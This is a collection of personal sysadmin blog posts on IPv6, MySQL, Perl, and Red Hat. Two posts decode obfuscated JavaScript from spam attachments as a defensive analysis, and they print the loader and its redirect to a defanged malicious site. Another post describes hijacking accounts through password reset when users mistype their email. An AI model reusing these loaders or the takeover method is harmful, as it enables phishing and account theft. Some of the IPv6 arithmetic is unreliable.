<p>Follow these steps when specifying a literal IPv6 address in a UNC path:</p>
<p>Replace any colon ":" characters with a dash "-" character.</p>
<p>Append the text ".ipv6-literal.net" to the IP address.</p>
<p>For example, the nomenclature for a URI that points to a file share on a computer with the IPv6 address 2001:DB8:2a:1005:230:48ff:fe73:989d would be:</p>
<p>\\2001-DB8-2a-1005-230-48ff-fe73-989d.ipv6-literal.net\<sharename> Where <sharename> is the name of the file share on the target computer.</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-50166836452753733282011-03-17T13:02:00.000-04:002013-03-27T20:35:04.154-04:00"IPv6 no cause for alarm" - Melvyn Wray, 2011<p>My response to <a href="http://www.channelweb.co.uk/crn-uk/opinion/2034122/ipv6-cause-alarm">this</a> article by idiot Melvyn Wray.</p>
<p> </p>
<hr />
<p> </p>
<p>I hope you aren't paid to write for this website. If so, you need to be fired immediately.<br /><br />2000 wasn't a meltdown because corporations the world over spent BILLIONS on their software and infrastructure. The company for which I was working at the time started hiring contract programmers in 1994 and still crossed their fingers hoping it would be enough time to audit and rewrite millions of lines of code.<br /><br />My current company has allocated around $10 million dollars in infrastructure over the next couple of years. As an ISP, you'd think we'd be able to find SOMEONE with a turnkey solution to give us a smooth ipv6 migration path. Instead, despite the imminence of ipv6, we're starting to feel like pioneers in the industry, a position that we do not desire in the least. For example, there are currently NO vendors offering a full-featured large scale nat solution to buy us some time to get fully underway with ipv6. When you ask any of them about PCP, you're met with blank stares or "why would anyone want to do that?" Granted, the initial draft of the IETF document was written only a month or so ago, ( https://datatracker.ietf.org/doc/draft-ietf-pcp-base/ ) but it should not be the burden of us as the customer to explain why this is critical to a vendor who is boasting that they have the best LSN solution.<br /><br />The burden is on us to come up with a solution that allows our customers to access both ipv6 addresses as well as ipv4 addresses for at least the next decade. I'd ask you to think of the ramifications of that task, but you're not capable. Suffice it to say, for the forseeable future, access to both ipv4 and ipv6 is mission critical.<br /><br />Every single piece of hardware serving customers is affected. Every cable modem earlier than docsis 3.0 needs to eventually be replaced. Every cable tv set top box will eventually need to be replaced. Not only does the cable modem need to be replaced, we're discussing the very real possibility of having to put a nat/fw at each customer premises. The reason for this? If, today, you walk into your local Staples, Best Buy, Dixon's, or Curry's, *almost none* of their devices are fully ipv6 capable. Are you the one who is willing to tell the customer that, sure, your Roku, Tivo, Slingbox, Kindle, iPod, wifi Galaxy Tab, Xbox, Wii, Airport Extreme, and Magic Jack will all definitely work with ipv6? You'd bet your paycheck on it?<br /><br />Every one of our servers needs some attention because even the most recent 5.x version, Red Hat Enterprise and their glorious patch hostage business model is *STILL* based on linux kernel 2.6.18, which has some ipv6 related weaknesses. Every piece of software that serves our customers needs at least some rewriting, especially with regards to anti-spam. There is very little in the way of good, solid support for ipv6 blacklists. The author of rbldnsd, for example, just committed some early support for ipv6 in his code a little over a week ago. It's just enough to get us some working blacklist functionality.<br /><br />Many of the most expensive pieces of our core networking infrastructure needs to be replaced. While Cisco may have stamped "ipv6 ready" on the side of much of their gear, the act of turning on ipv6 support nearly brings the box to its knees. The reason is because instead of having each line card being capable of hardware flows that require very little interaction with the supervisor engine, ipv6 is implemented in software-only, so suddenly every single packet needs to be sent to the supervisor card for handling. This alone may cost us millions. We're by no means a Cisco-only shop, so we're hoping that our testing doesn't reveal too many more surprises like this.<br /><br />And you've obviously been reading nothing but puff pieces regarding ipv6 and security. While it has a small number of nice features, it offers not one single bit of increased security that should cause ANYONE to breathe easier. If anything, it should stress people out even more. We're going to be finding fundamental flaws in the handling of ipv6 for years to come. As recently as a couple of years ago, I discovered a critical flaw with the version of glibc that openSUSE was using at the time and it's handling of AF_INET, AF_INET6, and AF_UNSPEC. It was easily missed because this flaw only surfaced when interacting with oddly behaving DNS servers and so only affected, at best, 1% of their userbase. To my knowledge, no one ever figured out the entire cause in any sort of forensic detail, and was eventually fixed. <br /><br />This also glosses over a very serious shortcoming in ipv6 to which none of the original designers are willing to admit. The problem is that ipv6 was designed in the early to mid 90's, when nat didn't even exist. While the designers lauded themselves for guaranteeing that everything could have a public, internet facing ip address, they forgot to take into consideration whether or not everything *should* have a public, internet facing ip address. Do you think the hacker's at the recent Pwn2Own conference were balked in any way by ipv6? Do you think the recent, critical icon vulnerability in Windows is in any way stopped by ipv6? Does the display of a favicon.ico file that exploits this vulnerability somehow become subverted because it was loaded from an ipv6 website? Using nat provides a fundamental level of security that truly makes the internet a safer place. Insisting, even despite proof to the contrary, that every device should be accessible via the internet is just plain wrong, no matter how many phd's can't get their own heads out of their asses.<br /><br />All you're aware of is the little bit of a golf ball sized chunk of ice that you've been able to perceive. The reality of the iceberg underneath is absolutely cause for alarm. Keep your finger pointing and chicken little accusations to yourself and let the big boys who do the real work take care of business.<br /><br />Here's to your writing success in a field other than technology.<br /><br />#EPIC #FAIL</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-34228428372066220912011-03-14T19:38:00.000-04:002013-03-27T20:37:11.443-04:00Anyone used mysql with 128-bit binary strings? Riddle me this...<p>I was doing a little experimentation wielding ipv6 with perl and mysql:</p>
<p>So, given this table schema:</p>
<p> </p>
<p><code> </code></p>
<p><code> </code></p>
<p> </p>
<p><code> </code></p>
<p><code>mysql> desc binary_i;</code></p>
<p><code>
<p>+-------+------------------+------+-----+---------+----------------+</p>
<p>| Field | Type | Null | Key | Default | Extra |</p>
<p>+-------+------------------+------+-----+---------+----------------+</p>
<p>| id | int(10) unsigned | NO | PRI | NULL | auto_increment |</p>
<p>| ip | binary(255) | NO | | NULL | |</p>
<p>| mask | binary(255) | NO | | NULL | |</p>
<p>+-------+------------------+------+-----+---------+----------------+</p>
<p>3 rows in set (0.00 sec)</p>
</code></p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>Can anyone explain this??</p>
<p> </p>
<p>Show a row:</p>
<p> </p>
<p><code> </code></p>
<p><code> </code></p>
<p><code>mysql> select * from binary_i limit 1\G</code></p>
<p><code>
<p>*************************** 1. row ***************************</p>
<p> id: 1</p>
<p> ip: 00100110000001101111010000000000000010000000000100100000000000000000000101110010000000000010010000000000000000010000000001010101</p>
<p>mask: 11111111111111111111111111111111111111111111111111111111111111110000000000000000000000000000000000000000000000000000000000000000</p>
<p>1 row in set (0.00 sec)</p>
</code></p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>Copy the ip value from that into a select statement:</p>
<p> </p>
<p> </p>
<p><code> </code></p>
<p><code> </code></p>
<p><code>mysql> select * from binary_i where ip = '00100110000001101111010000000000000010000000000100100000000000000000000101110010000000000010010000000000000000010000000001010101';</code></p>
<p><code>
<p>Empty set (0.01 sec)</p>
</code></p>
<p> </p>
<p> </p>
<p> </p>
<p>Empty??</p>
<p>Try again with double quotes:</p>
<p> </p>
<p><code> </code></p>
<p><code> </code></p>
<p><code>mysql> select * from binary_i where ip = "00100110000001101111010000000000000010000000000100100000000000000000000101110010000000000010010000000000000000010000000001010101";</code></p>
<p><code>
<p>Empty set (0.01 sec)</p>
</code></p>
<p> </p>
<p> </p>
<p>Still Empty??</p>
<p>Try it as a like statement with preceding and succeeding % symbols:</p>
<p> </p>
<p><code> </code></p>
<p><code> </code></p>
<p><code>mysql> select * from binary_i where ip like '100110000001101111010000000000000010000000000100100000000000000000000101110010000000000010010000000000000000010000000001010101%' limit 1;</code></p>
<p><code>
<p>+----+----------------------------------------------------------------------------------------------------------------------------------------</p>
<p>| id | ip</p>
<p>+----+----------------------------------------------------------------------------------------------------------------------------------------</p>
<p>| 1 | 00100110000001101111010000000000000010000000000100100000000000000000000101110010000000000010010000000000000000010000000001010101</p>
<p>+----+----------------------------------------------------------------------------------------------------------------------------------------</p>
<p>1 row in set (0.00 sec)</p>
</code></p>
<p> </p>
<p> </p>
<p> </p>
<p>Success. Using the same string as I did in the previous WHERE clauses. I'd be a lot less baffled if I weren't COPY and PASTING the binary string directly from an existing entry in the db.</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-4716079554518264872011-01-16T11:31:00.000-05:002013-03-27T20:51:05.937-04:00Microsoft Math #FAIL<div class="separator" style="clear: both; text-align: left;">
<a href="http://3.bp.blogspot.com/-_tKzXEuflbE/UVOR3j1EQnI/AAAAAAAAABo/3Co7dgZPla0/s1600/win7pro.jpg.scaled500%5B1%5D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-_tKzXEuflbE/UVOR3j1EQnI/AAAAAAAAABo/3Co7dgZPla0/s320/win7pro.jpg.scaled500%5B1%5D.jpg" width="204" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://1.bp.blogspot.com/-tEpcham4RYY/UVOTMQItY4I/AAAAAAAAABw/YJFntMiTn5c/s1600/win7ult.jpg.scaled500%5B1%5D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-tEpcham4RYY/UVOTMQItY4I/AAAAAAAAABw/YJFntMiTn5c/s320/win7ult.jpg.scaled500%5B1%5D.jpg" width="203" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://1.bp.blogspot.com/-fQhQ_NCTCzM/UVOTcUDUj0I/AAAAAAAAAB4/4BXhkBUnLaw/s1600/win7pro-to-ult.jpg.scaled500%5B1%5D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-fQhQ_NCTCzM/UVOTcUDUj0I/AAAAAAAAAB4/4BXhkBUnLaw/s320/win7pro-to-ult.jpg.scaled500%5B1%5D.jpg" width="203" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div style="border: 0px; font-family: 'Lucida Grande', 'Lucida Sans', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif; font-size: 11px; margin-bottom: 15px; margin-top: 15px; outline: none; padding: 0px;">
<span style="border: 0px; font-size: small; margin: 0px; outline: none; padding: 0px;">$319.99 - $299.99 = <strong style="border: 0px; margin: 0px; outline: none; padding: 0px;">$129.95????</strong></span></div>
<div>
<span style="border: 0px; font-size: small; margin: 0px; outline: none; padding: 0px;"><strong style="border: 0px; margin: 0px; outline: none; padding: 0px;"><br /></strong></span></div>
Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-59223792369616465422010-12-13T16:18:00.000-05:002013-03-27T20:54:17.666-04:00Today has been one of those days...<p>It's been one of those days where it just feels as if there's been... a disturbance in the force. Not the extinguishing of millions of outcrying voices, more the subtle murmur of apology from the pickpocket who just accidentally bumped into you.</p>
<p>It started this morning. My BlackBerry notifies me that it can no longer access my gmail account. I log in from my laptop and it claims there has been suspicous activity with my account and I must enter my cell phone number to proceed with account revalidation. I do, change my password, and successfully access my gmail account. I hit the page where Google logs ip addresses used for accessing my gmail account and see nothing untoward. My laptop from home and work, my BlackBerry, and nothing more. When my wife's gmail account was hacked last month, it clearly showed an ip address from China, so the event was fresh in my mind and I knew exactly what the suspicious activity would look like. (Unfortunate that Google didn't disable her account in a similar fashion to how mine was disabled before her account was used to send messages to her entire addressbook containing a malicious link.) Presumably, Google has just today tightened security up a bit more. Since my BlackBerry uses BIS to hit gmail, it appears as if the connection is coming from a Canadian ip address, thousands of miles from my current location. This seems the likely culprit of the suspicious activity. I was due for a password change anyway and LastPass generates beautiful ones. No harm, no foul.</p>
<p>Next, a message from my wife. She asks about a small charge appearing on our account from a bookstore in Colorado. Mental red flag is on its way back up even before it's come all the way back down from the last incident. Start investigating, turns out it was just a book my wife ordered through the local school book fair, which is operated by a company in CO. No harm, no foul.</p>
<p>Enter Twitter. LastPass, which normally does a fine job of handling Twitter logins automatically, balks. Invalid password. W. T. F. The red flag goes up like it was tied to the camel of a radical middle eastern zealot running late for a good stoning. I log in and start analyzing my account for wrongdoing. I notice the password it attempted to use was the wrong one. My wonton use of LastPass anywhere and everywhere across all my operating systems, (Linux, Win7, WinXP, BlackBerry) and all the browsers I use regularly, (Chrome dev, Chrome canary, Firefox 4, Safari, Opera 10, Opera 11, occasionally IE9), caused a little bit of a sync problem when last I changed my twitter password. No harm no foul.</p>
<p>Just for the sake of giving my red flag a rest, I went and changed several of my important passwords and wanted to take the time to encourage you to do the same. Lifehacker has posted this handy guide in response to the Gawker hack that occurred recently. Take a moment to read through it and give your passwords and accounts a good once-over. <a title="Lifehacker: How to Audit and Update Your Passwords" href="http://goo.gl/nbPpu" target="_blank">Lifehacker: How to Audit and Update Your Passwords</a></p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-24235787191280980842010-10-29T11:16:00.000-04:002013-03-27T20:56:04.828-04:00Quick tip for openSUSE users of App::perlbrew...<p>Ever since I installed 11.2 on my ultra40 a few months ago, perlbrew has been busted for me. After failing, the build log always ended with:</p>
<blockquote><code> </code>
<p>ODBM_File.xs:124: error: too few arguments to function ‘dbmclose’</p>
</blockquote>
<p>I finally took the trouble to fix it. After some googling, I saw that others on opensuse had seen this while compiling on their own, but didn't readily see any search results for how to easily fix it with an automated builder like perlbrew. Turns out the secret sauce isn't that difficult since perlbrew with happily pass through any perl building arguments:</p>
<blockquote>
<p><code>perlbrew install perl-5.12.2 -D noextensions=ODBM_File</code></p>
</blockquote>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-11598587807102126522010-09-27T13:32:00.000-04:002013-03-27T20:57:49.867-04:00Teh maths is fun... (ipv6 rant)<p>My company just got it's ipv6 allocation. They gave us a /32. Let's walk through this math for those of you watching from home.</p>
<p>/32 is the number of bits. The full length of an ipv6 address is 128 bits. Represented in binary, this means that the highest possible number is all 1's, for a total of 128 of them:</p>
<p> </p>
<p>11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111</p>
<p> </p>
<p>To convert this number into decimal, you start way over at the right, and continuously increment by the powers of 2. The first position is 1, the second is 2, the third is four, the fifth is 8, the sixth is 16, the seventh is 32, and so on and so forth. If you bother to follow those powers of two all the way out to 128 bits, you end up with a really big number. 170,141,183,460,469,000,000,000,000,000,000,000,000 to be exact. This is the maximum number of ip addresses able to be assigned out of the ipv6 pool.</p>
<p>Our allocation of a /32 means that, starting from the left, you count out 32 binary bit positions and flip them to a 1, and the remaining 96 binary positions are all 0. This gives us a total allocation of 79,228,162,514,264,300,000,000,000,000 ip address. If you were to write me a check giving me a dollar for every one of our ip addresses, you'd need a check that was about 3 feet wide so that you could write out the number in english. You'd be writing me a check for seventy-nine octillion, two hundred twenty-eight septillion, one hundred sixty-two sextillion, five hundred fourteen quintillion, two hundred sixty-four quadrillion, three hundred trillion dollars.</p>
<p>So, my company has personally been given enough ipv6 addresses to assign every single cell in your body well over 1 quadrillion ip addresses. Every. Single. Cell.</p>
<p>From what I've been hearing, this is the norm. They gave one guy a /48 for his websites, of which he has a small handful. One septillion ip addresses. For a few websites.</p>
<p>Let's extrapolate that our /32 is the norm for anyone needing more than a handful of ip addresses. Divide the biggest possible 128 bit number by our /32 allocation.</p>
<p> </p>
<p style="text-align: right;"><tt>170,141,183,460,469,000,000,000,000,000,000,000,000<br />÷ 79,228,162,514,264,300,000,000,000,000<br /></tt></p>
<hr />
<p style="text-align: right;"><strong><tt>2,147,483,648</tt></strong></p>
<p> </p>
<p>That's the kind of number you don't need any help spelling out. A little better than 2 billion. How many ipv4 addresses are there? Double that. 4 billion, though the way ipv4 has been carved up means that substantially less than that is usable.</p>
<p>It took us 30 years to approach exhaustion of the ipv4 space, though the last 15 years has seen such an exponential increase, the first 15 years is nothing but a drop in a bit-bucket in comparison.</p>
<p>I've argued repeatedly that there's so much ipv4 space that is absolutely WASTED that there really isn't that much of a crunch if they started enforcing utilization standards. MIT, for example, has 16 million public ipv4 addresses of their very own. Why? Because, when it was allocated to them so many years ago, they could get away with it. 16 million. For a college. Do they need 16 million publicly facing ip addresses? NO.</p>
<p>And, of course, there's no place like 127.0.0.1 is there? Another 16 MILLION ip addresses wasted on localhost. Why? Because back when it was assigned, they could. Who cares, right? When there's 4 billion addresses, what's 16 million here or there, just between friends?</p>
<p>Xerox, 16 million. HP, 16 million. Ford, 16 million. Halliburton, 16 million. Prudential, 16 million. Merck, 16 million.</p>
<p>Do any of these companies need 16 million publicly facing ipv4 addresses? NO. That's over 83 million ip addresses wasted right there. Yes, HP recently purchased a company that produced cell phones. Do those cell phones need PUBLIC ipv4 addresses? NO. The specifics of the wastefulness of the ipv4 space are a separate rant, though.</p>
<p>My point is that this pattern of wastefulness is not only continuing with ipv6, it's getting much, much WORSE. Insanely sized allocations to anyone who asks for a few ips? Really? What good is having this seemingly vast amount of address space, if (going back to the handful of websites example) the wastefulness of this space increases by not 1 or 2 or 10, but TWENTY-FIVE orders of magnitude?</p>
<p>The view from this boat looks a lot like it did 30 years ago.</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-73991944797584554322010-09-24T09:34:00.000-04:002013-03-27T20:59:38.791-04:00More weaponized javascript email attachments reverse engineered...<p>My reverse engineering of the latest rash of spam attachment scripts:</p>
<p> </p>
<p> </p>
<p> </p>
<pre>use strict;
use warnings;
use URI::Escape;
my $js = '%66%75%6E%63%74%69%6F%6E%20%65%5F%65%28%65%29%7B%65%3D%75%6E%65%73%63%61%70%65%28%65%29%3B%70%3D%22%54%4F%45%4D%50%4A%5A%4D%4C%4B%50%51%42%4E%42%22%3B%73%3D%22%22%3B%73%6C%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6B%3D%30%2C%6A%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%65%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%7B%63%3D%63%5E%70%2E%63%68%61%72%43%6F%64%65%41%74%28%6A%25%70%2E%6C%65%6E%67%74%68%29%3B%6A%2B%2B%3B%7D%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%73%6C%5B%6B%2B%2B%5D%3D%73%3B%73%3D%22%22%7D%7D%73%3D%73%6C%2E%6A%6F%69%6E%28%22%22%29%2B%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29%7D';
print uri_unescape( $js );
print "\n";
# the $js string is a function named e_e:
# function e_e(e){e=unescape(e);p="TOEMPJZMLKPQBNB";
# s="";sl=new Array(),k=0,j=0;for(i=0;i80){sl[k++]=s;s=""}}s=sl.join("")+s;document.write(s)}
# My bad perl reproduction...
#
sub e_e {
my $string = shift;
my $e = uri_unescape($string);
my $p = "TOEMPJZMLKPQBNB";
my $s = "";
my @sl;
my $k = 0;
my $j = 0;
my @split = split( //, $e );
my @psplit = split( //, $p );
for( my $i = 0; $i < length( $e ); $i++ ){
my $c = ord($split[$i]);
if ( $c < 128 ) {
my $result = $psplit[$j % length($p)];
$c = $c ^ ord( $result );
$j++;
}
$s .= chr($c);
if( length($s) > 80 ) {
$sl[$k++] = $s;
$s = "";
}
}
#s = sl.join("")+s;
$s .= join( '', @sl );
print $s;
print "\n";
}
#This string is passed to the e_e:
e_e('ts%28%28%24%2Bz%258? |%27?7%3D9xo%22%2F%3C?%2988sb%2D%2D%3A%3B #%24wx%7Dw%3E%22%3D%7F&6 ?%7Fb%7F%3E2%28*9?%3C#%27%2C1%3Dk%2E?%27u|b#%24%3C%2Elb%7Bqem%5D@WGp?13%2E%2Bb#&!98wx||%7Busb%2C%2D&%2B ?mhjorw%24#b%2C%257 %29%22%22wxny~fgzv%60t%2E%29%247%24go%2F%2E%3E%25%27%3C%60js1%29nv%3Bm%24957%7Fl* %3B5w%7Fe%2D%3A%3Be %24%2E%221%3B%291c3%257b%24?%3D%3D2!51%3Dk%25%24%27xsp%2D??6n%245%2C pr^K%28%24%2D%27|q%0A%2B%2E%22*1%243%2Bvm?*%3E%22o%3D%27&&#op%295!#9msa^H^D^R ^C^Krj%29%246%2Emso%7F%60j^[%2D%24#j%0D%28%2Ek0%25%2Bb#%2E6m 859%29%28%244&n %2Do%0D^Y^]^F%0A%22%3B%2E%22%7Dbn^A8&&&p%22??%29k%24%3Eb^\%273&6958fb* %24%3E%25|rm5qyb%24%2Edqc?%22o~a65%2D%29%28nGP');
# produces a metarefresh to http://XXXXthefromainerXXXX.com
</pre>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-4560872780653348352010-09-21T10:53:00.000-04:002013-03-27T21:00:50.280-04:00Don't open any unfamiliar attachments today!<p>The mail servers here started getting inundated with some weaponized email spam about invoice attachments.</p>
<p>The decoded contents of this spam contains the following javascript:</p>
<p> </p>
<blockquote>
<p style="padding-left: 30px;">var s="ifmmp!csjbo!=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1<vsm>iuuq;00uvsltbhmjltfo/psh/us0y/iunm#!0?!czf!csjbo";</p>
<p style="padding-left: 30px;">m=""; for (i=0; i<s.length; i++) {<span style="white-space: pre;"> </span>if(s.charCodeAt(i) == 28){<span style="white-space: pre;"> </span> m+= '&';} else if (s.charCodeAt(i) == 23) {<span style="white-space: pre;"> </span> m+= '!';} else {<span style="white-space: pre;"> </span> m+=String.fromCharCode(s.charCodeAt(i)-1);<span style="white-space: pre;"> </span>}}document.write(m);</p>
</blockquote>
<p> </p>
<p>When I reverse engineered it in perl it produces the following result:</p>
<p> </p>
<blockquote>
<p style="padding-left: 30px;">#!/usr/bin/perl </p>
<p style="padding-left: 30px;">my $s = 'ifmmp!csjbo!=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1<vsm>iuuq;00uvsltbhmjltfo/psh/us0y/iunm#!0?!czf!csjbo';</p>
<p style="padding-left: 30px;">push @new, chr( ord( $_ ) - 1 ) for split( //, $s );</p>
<p style="padding-left: 30px;">print join( '', @new ) . "\n";</p>
</blockquote>
<p style="padding-left: 30px;"> </p>
<p>OUTPUT:</p>
<p> </p>
<blockquote>
<p>hello brian <meta http-equiv="refresh" content="0;url=http://XXXXturksagliksenXXXX.org.tr/x.html" /> bye brian</p>
</blockquote>
<p> </p>
<p>I rigged up our name servers so that when one of our customers tries to hit that domain, it just redirects to a web page indicating that it was blocked.</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-24413864594935530752010-07-11T16:36:00.000-04:002013-03-27T21:06:18.903-04:00Revoking internet access of people who can't remember their own damn email address. Become a fan!<p>My gmail address is rather simple. Maybe a little too simple. First initial, last name. That's it. Consequently, my spam folder is always full. I don't see the vast majority of this, so it's a relatively minor annoyance at best.</p>
<p>But there's another type of unwanted, unsolicited mail I get that can't be avoided so easily. Mail from people who can't enter their own email address correctly. My last name is very common, so it's a phenomenon that started for me years ago. Back then, when it was relatively minor, I used to actually bother to forward the messages to their rightful owner, when I could determine it. Nowadays, this is starting to happen literally every day. Every. Single. Day.</p>
<p><a name='more'></a></p>
<p>I'm not talking about dictionary spammers. I'm talking about people with the same first initial and last name signing up for an account on a website using MY email address because they failed to type in the 0720 if their address was aharrison0720@gmail.com.</p>
<p>What this allows me to do is to access the website from which the offending email originated, use the "forgotten password" mechanism, wait for the site to deliver the "forgotten" password, and I now OWN this user's account. Which leads me to my next point.</p>
<p>It's not just the user's who are asleep at the wheel. It's the WEBSITE where the user created their account that is guilty as well. Since so few of these sites bother to take their users' privacy seriously and validate the email addresses people use to sign up, this type of critical vulnerability in the site's account creation process is absolutely rampant.</p>
<p>Today, I've been getting deluged all day with messages from facebook about friends and family accepting friend requests. People I don't know. Someone used my email address to sign up their facebook account. I did a bit of probing to make sure that it wasn't someone posing as me to perpetrate something, but it's just someone else not being careful with their email address.</p>
<p>But it doesn't just stop with social sites. I receive plenty of email from UPS, for example. I can easily access a couple of people's UPS accounts, see their home addresses, could potentially redirect shipments at will. On other sites, I have access to several people's private information, physical mailing address, social security numbers, DOB, bank information, you name it. I have a boilerplate chastisement that I send to the offending sites that I hope is an eye-opener for them. These sites' failures to take the extremely simple steps of validating someone's email address could potentially be opening them up to serious lawsuits.</p>
<p>Not only that, but social engineering hackers are becoming more and more devious. I'm absolutely certain that there are some of them who specifically create accounts with simple usernames on web-based email sites like gmail for this very purpose. They just lie in wait for someone failing to be cautious with their private information and before you know it, you're getting calls from the bank because you just spent 10 grand in three different countries in 5 minutes. Given who often it's happening for me with my email address, I'm surprised this hasn't received more publicity because I'm positive it must be quite lucrative for the Bad Guys ™.</p>
<p>I'm starting to think that this might be the new cup-holder of our internet today and I'm the one who should be telling them they're too stupid to own a computer.</p>
<p></rant></p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-6080342512727797762010-06-24T15:46:00.000-04:002013-03-27T21:12:49.882-04:00Efficient command line file searching...<p>I recently replied to the blog post: <a title="One-liner: Finding files that include a match" href="http://engineerofdanger.blogspot.com/2010/06/one-liner-finding-files-that-include.html" target="_blank">One-liner: Finding files that include a match</a> with this response.</p>
<p><a name='more'></a></p>
<hr />
<p><span style="font-family: 'tahoma Trebuchet MS', lucida, helvetica, sans-serif; color: #555555; line-height: 18px;">The problem with this method is that it's going to be VERY slow and will be especially painful when examining large numbers of files. It's much more efficient to use find in conjunction with xargs.<br /> <br /> Here is a safe and fast way to search through a bunch of files...<br /> <br /> <br /> <code> find /path/to/something -type f -iname '*some_pattern*' -print0 | xargs -0 grep -H '^option_name' </code> <br /> <br /> <br /> If you just want the filename, change the grep option -H to -l. This is handy for subsearches. So you can search for all files containing the specified pattern, then on those files, print the lines containing another pattern. <br /> <br /> <br /> <code> find /path -type f -iname '*pattern*' -print0 | xargs -0 grep -lZ '^option_name' | xargs -0 grep -H 'another pattern' </code> <br /> <br /> <br /> If you want to stick with perl to handle your matching, no problem:<br /> <br /> <br /> <code> find /path -type f -iname '*pattern*' -print0 | xargs -0 perl -wnl -e '/^option_name/ and print "$_\n"' </code> <br /> <br /> <br /> Keep in mind that using grep/egrep is normally MUCH faster than using perl (though I've noticed great improvements in 5.10+). If you want to stick with perl patterns, pcregrep is slightly faster than using perl directly. But for complicated patterns, I've found pcregrep to be quite a bit faster than grep/egrep.<br /> <br /> I use this method fairly regularly to search millions of files at a time. </span></p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0tag:blogger.com,1999:blog-7183990176718430093.post-36268145823826731732009-07-09T14:11:00.000-04:002013-03-27T21:14:08.136-04:00Red Hat rant...<p>> @mjasay: Putting together a post on the not-so-flawless execution of Red Hat's past. (Weird M&A, etc.) Pls send yr ideas to my twitter name @mac.com<br /><br />Here's one I'm still a little raw about.<br /><br />I figured out the hard way one of the ways that Red Hat earns money. Strong arming, as far as I'm concerned...<br /><br />I work for a broadband ISP and over the last couple of years we've been moving away from Sun gear and the Solaris o/s to HP blades running Linux. In preparation for moving my BIND dns servers from Solaris to Linux, I set up up a pair of servers running the stock bind packages for 5.2. I started by just pointing my 10 anti-spam servers to these two boxes.<br /><br />The named process crashed in two days. "socket.c:1649: INSIST(!sock->pending_recv)" Come to find out, this is a bug that had been fixed a year and a half prior by the ISC BIND developers. Red Hat will not implement the fix unless you have one of their ridiculously expensive support contracts and open up a case with them.<br /><br />They keep the model broken because the way the bind rpm packages are created, the start with a VERY OLD version of bind as the base to compile from, then simply apply whatever patches they pick and choose to apply before building the rpm.<br /><br />I'm usually a proponent of sticking with rpm's for anything like that because it makes things very maintainable. But since Red Hat holds bug fixes hostage like in this example, I'm compiling from source. Less maintainable, but the named process hasn't crashed for me and it's been about 5 months now.<br /><br />As an aside, I ran dnsperf tests against the stock bind and a fresh compile of my own and mine handled 3 to 5 times as many queries per second. But this only because Red Hat uses shitty ./configure options when they compile, something anyone can tune with a src rpm.</p>
<p><br />--<br />Andy Harrison<br />public key: 0x67518262</p>Andrew Harrisonhttp://www.blogger.com/profile/07472557008730672841noreply@blogger.com0